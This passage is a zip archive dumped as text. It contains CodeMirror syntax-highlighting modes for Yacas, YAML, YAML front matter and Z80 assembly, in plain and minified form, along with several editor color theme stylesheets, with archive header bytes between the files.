      if (prev === '*' && next === '/') {
        state.tokenize = tokenBase;
        break;
      }
      prev = next;
    }
    return 'comment';
  }

  function currentScope(state) {
    var scope = null;
    if (state.scopes.length > 0)
      scope = state.scopes[state.scopes.length - 1];
    return scope;
  }

  return {
    startState: function() {
      return {
        tokenize: tokenBase,
        scopes: []
      };
    },
    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      return state.tokenize(stream, state);
    },
    indent: function(state, textAfter) {
      if (state.tokenize !== tokenBase && state.tokenize !== null)
        return CodeMirror.Pass;

      var delta = 0;
      if (textAfter === ']' || textAfter === '];' ||
          textAfter === '}' || textAfter === '};' ||
          textAfter === ');')
        delta = -1;

      return (state.scopes.length + delta) * _config.indentUnit;
    },
    electricChars: "{}[]();",
    blockCommentStart: "/*",
    blockCommentEnd: "*/",
    lineComment: "//"
  };
});

CodeMirror.defineMIME('text/x-yacas', {
  name: 'yacas'
});

});
PKP��[YxQ�M	M	"codemirror/mode/yacas/yacas.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("yacas",(function(b,c){function
d(a,b){var c;if('"'===(c=a.next()))return
b.tokenize=e,b.tokenize(a,b);if("/"===c){if(a.eat("*"))return
b.tokenize=f,b.tokenize(a,b);if(a.eat("/"))return
a.skipToEnd(),"comment"}a.backUp(1);var
d=a.match(/^(\w+)\s*\(/,!1);null!==d&&h.hasOwnProperty(d[1])&&b.scopes.push("bodied");var
i=g(b);if("bodied"===i&&"["===c&&b.scopes.pop(),"["!==c&&"{"!==c&&"("!==c||b.scopes.push(c),i=g(b),("["===i&&"]"===c||"{"===i&&"}"===c||"("===i&&")"===c)&&b.scopes.pop(),";"===c)for(;"bodied"===i;)b.scopes.pop(),i=g(b);return
a.match(/\d+
*#/,!0,!1)?"qualifier":a.match(j,!0,!1)?"number":a.match(l,!0,!1)?"variable-3":a.match(/(?:\[|\]|{|}|\(|\))/,!0,!1)?"bracket":a.match(m,!0,!1)?(a.backUp(1),"variable"):a.match(k,!0,!1)?"variable-2":a.match(/(?:\\|\+|\-|\*|\/|,|;|\.|:|@|~|=|>|<|&|\||_|`|'|\^|\?|!|%|#)/,!0,!1)?"operator":"error"}function
e(a,b){for(var
c,e=!1,f=!1;null!=(c=a.next());){if('"'===c&&!f){e=!0;break}f=!f&&"\\"===c}return
e&&!f&&(b.tokenize=d),"string"}function
f(a,b){for(var
c,e;null!=(e=a.next());){if("*"===c&&"/"===e){b.tokenize=d;break}c=e}return"comment"}function
g(a){var b=null;return
a.scopes.length>0&&(b=a.scopes[a.scopes.length-1]),b}var
h=(function(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b})("Assert BackQuote
D Defun Deriv For ForEach FromFile FromString Function Integrate
InverseTaylor Limit LocalSymbols Macro MacroRule MacroRulePattern
NIntegrate Rule RulePattern Subst TD TExplicitSum TSum Taylor Taylor1
Taylor2 Taylor3 ToFile ToStdout ToString TraceRule Until
While"),i="(?:[a-zA-Z\\$'][a-zA-Z0-9\\$']*)",j=new
RegExp("(?:(?:\\.\\d+|\\d+\\.\\d*|\\d+)(?:[eE][+-]?\\d+)?)"),k=new
RegExp(i),l=new RegExp(i+"?_"+i),m=new
RegExp(i+"\\s*\\(");return{startState:function(){return{tokenize:d,scopes:[]}},token:function(a,b){return
a.eatSpace()?null:b.tokenize(a,b)},indent:function(c,e){if(c.tokenize!==d&&null!==c.tokenize)return
a.Pass;var
f=0;return"]"!==e&&"];"!==e&&"}"!==e&&"};"!==e&&");"!==e||(f=-1),(c.scopes.length+f)*b.indentUnit},electricChars:"{}[]();",blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//"}})),a.defineMIME("text/x-yacas",{name:"yacas"})}));PKP��[��o-��codemirror/mode/yaml/yaml.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("yaml", function() {

  var cons = ['true', 'false', 'on',
'off', 'yes', 'no'];
  var keywordRegex = new
RegExp("\\b(("+cons.join(")|(")+"))$",
'i');

  return {
    token: function(stream, state) {
      var ch = stream.peek();
      var esc = state.escaped;
      state.escaped = false;
      /* comments */
      if (ch == "#" && (stream.pos == 0 ||
/\s/.test(stream.string.charAt(stream.pos - 1)))) {
        stream.skipToEnd();
        return "comment";
      }

      if
(stream.match(/^('([^']|\\.)*'?|"([^"]|\\.)*"?)/))
        return "string";

      if (state.literal && stream.indentation() > state.keyCol)
{
        stream.skipToEnd(); return "string";
      } else if (state.literal) { state.literal = false; }
      if (stream.sol()) {
        state.keyCol = 0;
        state.pair = false;
        state.pairStart = false;
        /* document start */
        if(stream.match(/---/)) { return "def"; }
        /* document end */
        if (stream.match(/\.\.\./)) { return "def"; }
        /* array list item */
        if (stream.match(/\s*-\s+/)) { return 'meta'; }
      }
      /* inline pairs/lists */
      if (stream.match(/^(\{|\}|\[|\])/)) {
        if (ch == '{')
          state.inlinePairs++;
        else if (ch == '}')
          state.inlinePairs--;
        else if (ch == '[')
          state.inlineList++;
        else
          state.inlineList--;
        return 'meta';
      }

      /* list seperator */
      if (state.inlineList > 0 && !esc && ch ==
',') {
        stream.next();
        return 'meta';
      }
      /* pairs seperator */
      if (state.inlinePairs > 0 && !esc && ch ==
',') {
        state.keyCol = 0;
        state.pair = false;
        state.pairStart = false;
        stream.next();
        return 'meta';
      }

      /* start of value of a pair */
      if (state.pairStart) {
        /* block literals */
        if (stream.match(/^\s*(\||\>)\s*/)) { state.literal = true;
return 'meta'; };
        /* references */
        if (stream.match(/^\s*(\&|\*)[a-z0-9\._-]+\b/i)) { return
'variable-2'; }
        /* numbers */
        if (state.inlinePairs == 0 &&
stream.match(/^\s*-?[0-9\.\,]+\s?$/)) { return 'number'; }
        if (state.inlinePairs > 0 &&
stream.match(/^\s*-?[0-9\.\,]+\s?(?=(,|}))/)) { return 'number';
}
        /* keywords */
        if (stream.match(keywordRegex)) { return 'keyword'; }
      }

      /* pairs (associative arrays) -> key */
      if (!state.pair &&
stream.match(/^\s*(?:[,\[\]{}&*!|>'"%@`][^\s'":]|[^,\[\]{}#&*!|>'"%@`])[^#]*?(?=\s*:($|\s))/))
{
        state.pair = true;
        state.keyCol = stream.indentation();
        return "atom";
      }
      if (state.pair && stream.match(/^:\s*/)) { state.pairStart =
true; return 'meta'; }

      /* nothing found, continue */
      state.pairStart = false;
      state.escaped = (ch == '\\');
      stream.next();
      return null;
    },
    startState: function() {
      return {
        pair: false,
        pairStart: false,
        keyCol: 0,
        inlinePairs: 0,
        inlineList: 0,
        literal: false,
        escaped: false
      };
    },
    lineComment: "#",
    fold: "indent"
  };
});

CodeMirror.defineMIME("text/x-yaml", "yaml");
CodeMirror.defineMIME("text/yaml", "yaml");

});
PKP��[%�L�))
codemirror/mode/yaml/yaml.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("yaml",(function(){var
a=["true","false","on","off","yes","no"],b=new
RegExp("\\b(("+a.join(")|(")+"))$","i");return{token:function(a,c){var
d=a.peek(),e=c.escaped;if(c.escaped=!1,"#"==d&&(0==a.pos||/\s/.test(a.string.charAt(a.pos-1))))return
a.skipToEnd(),"comment";if(a.match(/^('([^']|\\.)*'?|"([^"]|\\.)*"?)/))return"string";if(c.literal&&a.indentation()>c.keyCol)return
a.skipToEnd(),"string";if(c.literal&&(c.literal=!1),a.sol()){if(c.keyCol=0,c.pair=!1,c.pairStart=!1,a.match(/---/))return"def";if(a.match(/\.\.\./))return"def";if(a.match(/\s*-\s+/))return"meta"}if(a.match(/^(\{|\}|\[|\])/))return"{"==d?c.inlinePairs++:"}"==d?c.inlinePairs--:"["==d?c.inlineList++:c.inlineList--,"meta";if(c.inlineList>0&&!e&&","==d)return
a.next(),"meta";if(c.inlinePairs>0&&!e&&","==d)return
c.keyCol=0,c.pair=!1,c.pairStart=!1,a.next(),"meta";if(c.pairStart){if(a.match(/^\s*(\||\>)\s*/))return
c.literal=!0,"meta";if(a.match(/^\s*(\&|\*)[a-z0-9\._-]+\b/i))return"variable-2";if(0==c.inlinePairs&&a.match(/^\s*-?[0-9\.\,]+\s?$/))return"number";if(c.inlinePairs>0&&a.match(/^\s*-?[0-9\.\,]+\s?(?=(,|}))/))return"number";if(a.match(b))return"keyword"}return!c.pair&&a.match(/^\s*(?:[,\[\]{}&*!|>'"%@`][^\s'":]|[^,\[\]{}#&*!|>'"%@`])[^#]*?(?=\s*:($|\s))/)?(c.pair=!0,c.keyCol=a.indentation(),"atom"):c.pair&&a.match(/^:\s*/)?(c.pairStart=!0,"meta"):(c.pairStart=!1,c.escaped="\\"==d,a.next(),null)},startState:function(){return{pair:!1,pairStart:!1,keyCol:0,inlinePairs:0,inlineList:0,literal:!1,escaped:!1}},lineComment:"#",fold:"indent"}})),a.defineMIME("text/x-yaml","yaml"),a.defineMIME("text/yaml","yaml")}));PKP��[U����4codemirror/mode/yaml-frontmatter/yaml-frontmatter.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function (mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("../yaml/yaml"))
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "../yaml/yaml"],
mod)
  else // Plain browser env
    mod(CodeMirror)
})(function (CodeMirror) {

  var START = 0, FRONTMATTER = 1, BODY = 2

  // a mixed mode for Markdown text with an optional YAML front matter
  CodeMirror.defineMode("yaml-frontmatter", function (config,
parserConfig) {
    var yamlMode = CodeMirror.getMode(config, "yaml")
    var innerMode = CodeMirror.getMode(config, parserConfig &&
parserConfig.base || "gfm")

    function curMode(state) {
      return state.state == BODY ? innerMode : yamlMode
    }

    return {
      startState: function () {
        return {
          state: START,
          inner: CodeMirror.startState(yamlMode)
        }
      },
      copyState: function (state) {
        return {
          state: state.state,
          inner: CodeMirror.copyState(curMode(state), state.inner)
        }
      },
      token: function (stream, state) {
        if (state.state == START) {
          if (stream.match(/---/, false)) {
            state.state = FRONTMATTER
            return yamlMode.token(stream, state.inner)
          } else {
            state.state = BODY
            state.inner = CodeMirror.startState(innerMode)
            return innerMode.token(stream, state.inner)
          }
        } else if (state.state == FRONTMATTER) {
          var end = stream.sol() && stream.match(/(---|\.\.\.)/,
false)
          var style = yamlMode.token(stream, state.inner)
          if (end) {
            state.state = BODY
            state.inner = CodeMirror.startState(innerMode)
          }
          return style
        } else {
          return innerMode.token(stream, state.inner)
        }
      },
      innerMode: function (state) {
        return {mode: curMode(state), state: state.inner}
      },
      blankLine: function (state) {
        var mode = curMode(state)
        if (mode.blankLine) return mode.blankLine(state.inner)
      }
    }
  })
});
PKP��[�[�8��8codemirror/mode/yaml-frontmatter/yaml-frontmatter.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../yaml/yaml")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../yaml/yaml"],a):a(CodeMirror)})((function(a){var
b=2;a.defineMode("yaml-frontmatter",(function(c,d){function
e(a){return a.state==b?g:f}var
f=a.getMode(c,"yaml"),g=a.getMode(c,d&&d.base||"gfm");return{startState:function(){return{state:0,inner:a.startState(f)}},copyState:function(b){return{state:b.state,inner:a.copyState(e(b),b.inner)}},token:function(c,d){if(0==d.state)return
c.match(/---/,!1)?(d.state=1,f.token(c,d.inner)):(d.state=b,d.inner=a.startState(g),g.token(c,d.inner));if(1==d.state){var
e=c.sol()&&c.match(/(---|\.\.\.)/,!1),h=f.token(c,d.inner);return
e&&(d.state=b,d.inner=a.startState(g)),h}return
g.token(c,d.inner)},innerMode:function(a){return{mode:e(a),state:a.inner}},blankLine:function(a){var
b=e(a);if(b.blankLine)return
b.blankLine(a.inner)}}}))}));PKP��[�ø��
�
codemirror/mode/z80/z80.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
  mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
  define(["../../lib/codemirror"], mod);
  else // Plain browser env
  mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode('z80', function(_config, parserConfig) {
  var ez80 = parserConfig.ez80;
  var keywords1, keywords2;
  if (ez80) {
    keywords1 =
/^(exx?|(ld|cp)([di]r?)?|[lp]ea|pop|push|ad[cd]|cpl|daa|dec|inc|neg|sbc|sub|and|bit|[cs]cf|x?or|res|set|r[lr]c?a?|r[lr]d|s[lr]a|srl|djnz|nop|[de]i|halt|im|in([di]mr?|ir?|irx|2r?)|ot(dmr?|[id]rx|imr?)|out(0?|[di]r?|[di]2r?)|tst(io)?|slp)(\.([sl]?i)?[sl])?\b/i;
    keywords2 =
/^(((call|j[pr]|rst|ret[in]?)(\.([sl]?i)?[sl])?)|(rs|st)mix)\b/i;
  } else {
    keywords1 =
/^(exx?|(ld|cp|in)([di]r?)?|pop|push|ad[cd]|cpl|daa|dec|inc|neg|sbc|sub|and|bit|[cs]cf|x?or|res|set|r[lr]c?a?|r[lr]d|s[lr]a|srl|djnz|nop|rst|[de]i|halt|im|ot[di]r|out[di]?)\b/i;
    keywords2 = /^(call|j[pr]|ret[in]?|b_?(call|jump))\b/i;
  }

  var variables1 = /^(af?|bc?|c|de?|e|hl?|l|i[xy]?|r|sp)\b/i;
  var variables2 = /^(n?[zc]|p[oe]?|m)\b/i;
  var errors = /^([hl][xy]|i[xy][hl]|slia|sll)\b/i;
  var numbers = /^([\da-f]+h|[0-7]+o|[01]+b|\d+d?)\b/i;

  return {
    startState: function() {
      return {
        context: 0
      };
    },
    token: function(stream, state) {
      if (!stream.column())
        state.context = 0;

      if (stream.eatSpace())
        return null;

      var w;

      if (stream.eatWhile(/\w/)) {
        if (ez80 && stream.eat('.')) {
          stream.eatWhile(/\w/);
        }
        w = stream.current();

        if (stream.indentation()) {
          if ((state.context == 1 || state.context == 4) &&
variables1.test(w)) {
            state.context = 4;
            return 'var2';
          }

          if (state.context == 2 && variables2.test(w)) {
            state.context = 4;
            return 'var3';
          }

          if (keywords1.test(w)) {
            state.context = 1;
            return 'keyword';
          } else if (keywords2.test(w)) {
            state.context = 2;
            return 'keyword';
          } else if (state.context == 4 && numbers.test(w)) {
            return 'number';
          }

          if (errors.test(w))
            return 'error';
        } else if (stream.match(numbers)) {
          return 'number';
        } else {
          return null;
        }
      } else if (stream.eat(';')) {
        stream.skipToEnd();
        return 'comment';
      } else if (stream.eat('"')) {
        while (w = stream.next()) {
          if (w == '"')
            break;

          if (w == '\\')
            stream.next();
        }
        return 'string';
      } else if (stream.eat('\'')) {
        if (stream.match(/\\?.'/))
          return 'number';
      } else if (stream.eat('.') || stream.sol() &&
stream.eat('#')) {
        state.context = 5;

        if (stream.eatWhile(/\w/))
          return 'def';
      } else if (stream.eat('$')) {
        if (stream.eatWhile(/[\da-f]/i))
          return 'number';
      } else if (stream.eat('%')) {
        if (stream.eatWhile(/[01]/))
          return 'number';
      } else {
        stream.next();
      }
      return null;
    }
  };
});

CodeMirror.defineMIME("text/x-z80", "z80");
CodeMirror.defineMIME("text/x-ez80", { name: "z80",
ez80: true });

});
PKP��[��u���codemirror/mode/z80/z80.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("z80",(function(a,b){var
c,d,e=b.ez80;e?(c=/^(exx?|(ld|cp)([di]r?)?|[lp]ea|pop|push|ad[cd]|cpl|daa|dec|inc|neg|sbc|sub|and|bit|[cs]cf|x?or|res|set|r[lr]c?a?|r[lr]d|s[lr]a|srl|djnz|nop|[de]i|halt|im|in([di]mr?|ir?|irx|2r?)|ot(dmr?|[id]rx|imr?)|out(0?|[di]r?|[di]2r?)|tst(io)?|slp)(\.([sl]?i)?[sl])?\b/i,d=/^(((call|j[pr]|rst|ret[in]?)(\.([sl]?i)?[sl])?)|(rs|st)mix)\b/i):(c=/^(exx?|(ld|cp|in)([di]r?)?|pop|push|ad[cd]|cpl|daa|dec|inc|neg|sbc|sub|and|bit|[cs]cf|x?or|res|set|r[lr]c?a?|r[lr]d|s[lr]a|srl|djnz|nop|rst|[de]i|halt|im|ot[di]r|out[di]?)\b/i,d=/^(call|j[pr]|ret[in]?|b_?(call|jump))\b/i);var
f=/^(af?|bc?|c|de?|e|hl?|l|i[xy]?|r|sp)\b/i,g=/^(n?[zc]|p[oe]?|m)\b/i,h=/^([hl][xy]|i[xy][hl]|slia|sll)\b/i,i=/^([\da-f]+h|[0-7]+o|[01]+b|\d+d?)\b/i;return{startState:function(){return{context:0}},token:function(a,b){if(a.column()||(b.context=0),a.eatSpace())return
null;var
j;if(a.eatWhile(/\w/)){if(e&&a.eat(".")&&a.eatWhile(/\w/),j=a.current(),!a.indentation())return
a.match(i)?"number":null;if((1==b.context||4==b.context)&&f.test(j))return
b.context=4,"var2";if(2==b.context&&g.test(j))return
b.context=4,"var3";if(c.test(j))return
b.context=1,"keyword";if(d.test(j))return
b.context=2,"keyword";if(4==b.context&&i.test(j))return"number";if(h.test(j))return"error"}else{if(a.eat(";"))return
a.skipToEnd(),"comment";if(a.eat('"')){for(;(j=a.next())&&'"'!=j;)"\\"==j&&a.next();return"string"}if(a.eat("'")){if(a.match(/\\?.'/))return"number"}else
if(a.eat(".")||a.sol()&&a.eat("#")){if(b.context=5,a.eatWhile(/\w/))return"def"}else
if(a.eat("$")){if(a.eatWhile(/[\da-f]/i))return"number"}else
if(a.eat("%")){if(a.eatWhile(/[01]/))return"number"}else
a.next()}return
null}}})),a.defineMIME("text/x-z80","z80"),a.defineMIME("text/x-ez80",{name:"z80",ez80:!0})}));PKP��[����codemirror/theme/3024-day.cssnu�[���/*

    Name:       3024 day
    Author:     Jan T. Sott (http://github.com/idleberg)

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-3024-day.CodeMirror { background: #f7f7f7; color: #3a3432; }
.cm-s-3024-day div.CodeMirror-selected { background: #d6d5d4; }

.cm-s-3024-day .CodeMirror-line::selection, .cm-s-3024-day .CodeMirror-line
> span::selection, .cm-s-3024-day .CodeMirror-line > span >
span::selection { background: #d6d5d4; }
.cm-s-3024-day .CodeMirror-line::-moz-selection, .cm-s-3024-day
.CodeMirror-line > span::-moz-selection, .cm-s-3024-day .CodeMirror-line
> span > span::selection { background: #d9d9d9; }

.cm-s-3024-day .CodeMirror-gutters { background: #f7f7f7; border-right:
0px; }
.cm-s-3024-day .CodeMirror-guttermarker { color: #db2d20; }
.cm-s-3024-day .CodeMirror-guttermarker-subtle { color: #807d7c; }
.cm-s-3024-day .CodeMirror-linenumber { color: #807d7c; }

.cm-s-3024-day .CodeMirror-cursor { border-left: 1px solid #5c5855; }

.cm-s-3024-day span.cm-comment { color: #cdab53; }
.cm-s-3024-day span.cm-atom { color: #a16a94; }
.cm-s-3024-day span.cm-number { color: #a16a94; }

.cm-s-3024-day span.cm-property, .cm-s-3024-day span.cm-attribute { color:
#01a252; }
.cm-s-3024-day span.cm-keyword { color: #db2d20; }
.cm-s-3024-day span.cm-string { color: #fded02; }

.cm-s-3024-day span.cm-variable { color: #01a252; }
.cm-s-3024-day span.cm-variable-2 { color: #01a0e4; }
.cm-s-3024-day span.cm-def { color: #e8bbd0; }
.cm-s-3024-day span.cm-bracket { color: #3a3432; }
.cm-s-3024-day span.cm-tag { color: #db2d20; }
.cm-s-3024-day span.cm-link { color: #a16a94; }
.cm-s-3024-day span.cm-error { background: #db2d20; color: #5c5855; }

.cm-s-3024-day .CodeMirror-activeline-background { background: #e8f2ff; }
.cm-s-3024-day .CodeMirror-matchingbracket { text-decoration: underline;
color: #a16a94 !important; }
PKP��[&�codemirror/theme/3024-night.cssnu�[���/*

    Name:       3024 night
    Author:     Jan T. Sott (http://github.com/idleberg)

    CodeMirror template by Jan T. Sott
(https://github.com/idleberg/base16-codemirror)
    Original Base16 color scheme by Chris Kempson
(https://github.com/chriskempson/base16)

*/

.cm-s-3024-night.CodeMirror { background: #090300; color: #d6d5d4; }
.cm-s-3024-night div.CodeMirror-selected { background: #3a3432; }
.cm-s-3024-night .CodeMirror-line::selection, .cm-s-3024-night
.CodeMirror-line > span::selection, .cm-s-3024-night .CodeMirror-line
> span > span::selection { background: rgba(58, 52, 50, .99); }
.cm-s-3024-night .CodeMirror-line::-moz-selection, .cm-s-3024-night
.CodeMirror-line > span::-moz-selection, .cm-s-3024-night
.CodeMirror-line > span > span::-moz-selection { background: rgba(58,
52, 50, .99); }
.cm-s-3024-night .CodeMirror-gutters { background: #090300; border-right:
0px; }
.cm-s-3024-night .CodeMirror-guttermarker { color: #db2d20; }
.cm-s-3024-night .CodeMirror-guttermarker-subtle { color: #5c5855; }
.cm-s-3024-night .CodeMirror-linenumber { color: #5c5855; }

.cm-s-3024-night .CodeMirror-cursor { border-left: 1px solid #807d7c; }

.cm-s-3024-night span.cm-comment { color: #cdab53; }
.cm-s-3024-night span.cm-atom { color: #a16a94; }
.cm-s-3024-night span.cm-number { color: #a16a94; }

.cm-s-3024-night span.cm-property, .cm-s-3024-night span.cm-attribute {
color: #01a252; }
.cm-s-3024-night span.cm-keyword { color: #db2d20; }
.cm-s-3024-night span.cm-string { color: #fded02; }

.cm-s-3024-night span.cm-variable { color: #01a252; }
.cm-s-3024-night span.cm-variable-2 { color: #01a0e4; }
.cm-s-3024-night span.cm-def { color: #e8bbd0; }
.cm-s-3024-night span.cm-bracket { color: #d6d5d4; }
.cm-s-3024-night span.cm-tag { color: #db2d20; }
.cm-s-3024-night span.cm-link { color: #a16a94; }
.cm-s-3024-night span.cm-error { background: #db2d20; color: #807d7c; }

.cm-s-3024-night .CodeMirror-activeline-background { background: #2F2F2F; }
.cm-s-3024-night .CodeMirror-matchingbracket { text-decoration: underline;
color: white !important; }
PKP��[-tS��codemirror/theme/abcdef.cssnu�[���.cm-s-abcdef.CodeMirror
{ background: #0f0f0f; color: #defdef; }
.cm-s-abcdef div.CodeMirror-selected { background: #515151; }
.cm-s-abcdef .CodeMirror-line::selection, .cm-s-abcdef .CodeMirror-line
> span::selection, .cm-s-abcdef .CodeMirror-line > span >
span::selection { background: rgba(56, 56, 56, 0.99); }
.cm-s-abcdef .CodeMirror-line::-moz-selection, .cm-s-abcdef
.CodeMirror-line > span::-moz-selection, .cm-s-abcdef .CodeMirror-line
> span > span::-moz-selection { background: rgba(56, 56, 56, 0.99); }
.cm-s-abcdef .CodeMirror-gutters { background: #555; border-right: 2px
solid #314151; }
.cm-s-abcdef .CodeMirror-guttermarker { color: #222; }
.cm-s-abcdef .CodeMirror-guttermarker-subtle { color: azure; }
.cm-s-abcdef .CodeMirror-linenumber { color: #FFFFFF; }
.cm-s-abcdef .CodeMirror-cursor { border-left: 1px solid #00FF00; }

.cm-s-abcdef span.cm-keyword { color: darkgoldenrod; font-weight: bold; }
.cm-s-abcdef span.cm-atom { color: #77F; }
.cm-s-abcdef span.cm-number { color: violet; }
.cm-s-abcdef span.cm-def { color: #fffabc; }
.cm-s-abcdef span.cm-variable { color: #abcdef; }
.cm-s-abcdef span.cm-variable-2 { color: #cacbcc; }
.cm-s-abcdef span.cm-variable-3, .cm-s-abcdef span.cm-type { color: #def; }
.cm-s-abcdef span.cm-property { color: #fedcba; }
.cm-s-abcdef span.cm-operator { color: #ff0; }
.cm-s-abcdef span.cm-comment { color: #7a7b7c; font-style: italic;}
.cm-s-abcdef span.cm-string { color: #2b4; }
.cm-s-abcdef span.cm-meta { color: #C9F; }
.cm-s-abcdef span.cm-qualifier { color: #FFF700; }
.cm-s-abcdef span.cm-builtin { color: #30aabc; }
.cm-s-abcdef span.cm-bracket { color: #8a8a8a; }
.cm-s-abcdef span.cm-tag { color: #FFDD44; }
.cm-s-abcdef span.cm-attribute { color: #DDFF00; }
.cm-s-abcdef span.cm-error { color: #FF0000; }
.cm-s-abcdef span.cm-header { color: aquamarine; font-weight: bold; }
.cm-s-abcdef span.cm-link { color: blueviolet; }

.cm-s-abcdef .CodeMirror-activeline-background { background: #314151; }
PKP��[9y�gg$codemirror/theme/ambiance-mobile.cssnu�[���.cm-s-ambiance.CodeMirror
{
  -webkit-box-shadow: none;
  -moz-box-shadow: none;
  box-shadow: none;
}
PKP��[E1��}g}gcodemirror/theme/ambiance.cssnu�[���/*
ambiance theme for codemirror */

/* Color scheme */

.cm-s-ambiance .cm-header { color: blue; }
.cm-s-ambiance .cm-quote { color: #24C2C7; }

.cm-s-ambiance .cm-keyword { color: #cda869; }
.cm-s-ambiance .cm-atom { color: #CF7EA9; }
.cm-s-ambiance .cm-number { color: #78CF8A; }
.cm-s-ambiance .cm-def { color: #aac6e3; }
.cm-s-ambiance .cm-variable { color: #ffb795; }
.cm-s-ambiance .cm-variable-2 { color: #eed1b3; }
.cm-s-ambiance .cm-variable-3, .cm-s-ambiance .cm-type { color: #faded3; }
.cm-s-ambiance .cm-property { color: #eed1b3; }
.cm-s-ambiance .cm-operator { color: #fa8d6a; }
.cm-s-ambiance .cm-comment { color: #555; font-style:italic; }
.cm-s-ambiance .cm-string { color: #8f9d6a; }
.cm-s-ambiance .cm-string-2 { color: #9d937c; }
.cm-s-ambiance .cm-meta { color: #D2A8A1; }
.cm-s-ambiance .cm-qualifier { color: yellow; }
.cm-s-ambiance .cm-builtin { color: #9999cc; }
.cm-s-ambiance .cm-bracket { color: #24C2C7; }
.cm-s-ambiance .cm-tag { color: #fee4ff; }
.cm-s-ambiance .cm-attribute { color: #9B859D; }
.cm-s-ambiance .cm-hr { color: pink; }
.cm-s-ambiance .cm-link { color: #F4C20B; }
.cm-s-ambiance .cm-special { color: #FF9D00; }
.cm-s-ambiance .cm-error { color: #AF2018; }

.cm-s-ambiance .CodeMirror-matchingbracket { color: #0f0; }
.cm-s-ambiance .CodeMirror-nonmatchingbracket { color: #f22; }

.cm-s-ambiance div.CodeMirror-selected { background: rgba(255, 255, 255,
0.15); }
.cm-s-ambiance.CodeMirror-focused div.CodeMirror-selected { background:
rgba(255, 255, 255, 0.10); }
.cm-s-ambiance .CodeMirror-line::selection, .cm-s-ambiance .CodeMirror-line
> span::selection, .cm-s-ambiance .CodeMirror-line > span >
span::selection { background: rgba(255, 255, 255, 0.10); }
.cm-s-ambiance .CodeMirror-line::-moz-selection, .cm-s-ambiance
.CodeMirror-line > span::-moz-selection, .cm-s-ambiance .CodeMirror-line
> span > span::-moz-selection { background: rgba(255, 255, 255,
0.10); }

/* Editor styling */

.cm-s-ambiance.CodeMirror {
  line-height: 1.40em;
  color: #E6E1DC;
  background-color: #202020;
  -webkit-box-shadow: inset 0 0 10px black;
  -moz-box-shadow: inset 0 0 10px black;
  box-shadow: inset 0 0 10px black;
}

.cm-s-ambiance .CodeMirror-gutters {
  background: #3D3D3D;
  border-right: 1px solid #4D4D4D;
  box-shadow: 0 10px 20px black;
}

.cm-s-ambiance .CodeMirror-linenumber {
  text-shadow: 0px 1px 1px #4d4d4d;
  color: #111;
  padding: 0 5px;
}

.cm-s-ambiance .CodeMirror-guttermarker { color: #aaa; }
.cm-s-ambiance .CodeMirror-guttermarker-subtle { color: #111; }

.cm-s-ambiance .CodeMirror-cursor { border-left: 1px solid #7991E8; }

.cm-s-ambiance .CodeMirror-activeline-background {
  background: none repeat scroll 0% 0% rgba(255, 255, 255, 0.031);
}

.cm-s-ambiance.CodeMirror,
.cm-s-ambiance .CodeMirror-gutters {
  background-image:
